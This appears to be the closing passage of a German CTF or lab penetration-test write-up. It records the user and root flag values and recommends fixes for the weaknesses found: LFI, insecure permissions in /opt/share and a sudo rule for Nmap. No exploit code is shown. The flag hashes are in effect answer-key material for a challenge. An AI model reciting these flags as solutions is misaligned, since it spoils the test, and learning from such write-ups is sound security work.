**Empfehlung (Admin):** Beheben Sie die sudo-Regel für Nmap. Überwachen Sie die Verwendung von Nmap auf dem System.
d3ea66f59d9d6ea12351b415080b5457
8b4acc39c4d068623a16a89ebecd5048
**Analyse:** Nach Erlangung der Root-Rechte werden die User- und Root-Flags gesucht. Die Befehle zum Anzeigen der Flags (`cat /home/cromiphi/user.txt` und `cat /root/root.txt`) fehlen teilweise oder sind unklar formatiert in der Ausgabe, aber die Flag-Werte selbst sind vorhanden. Der Fehler `cat: reo: No existe el fichero o el directorio` deutet auf einen Tippfehler bei einem `cat`-Versuch hin.
**Bewertung:** Beide Flags (`d3ea...` für User und `8b4a...` für Root) wurden erfolgreich erlangt. Die Aufgabe ist abgeschlossen.
**Empfehlung (Pentester):** Dokumentieren Sie die Flags und den gesamten, teilweise verworrenen, aber letztlich erfolgreichen Weg im Bericht.
**Empfehlung (Admin):** Stellen Sie sicher, dass alle identifizierten Schwachstellen (LFI, unsichere Berechtigungen in /opt/share, sudo-Regeln für Nmap) behoben sind. Überprüfen Sie die Systemintegrität und ändern Sie relevante Passwörter/Schlüssel.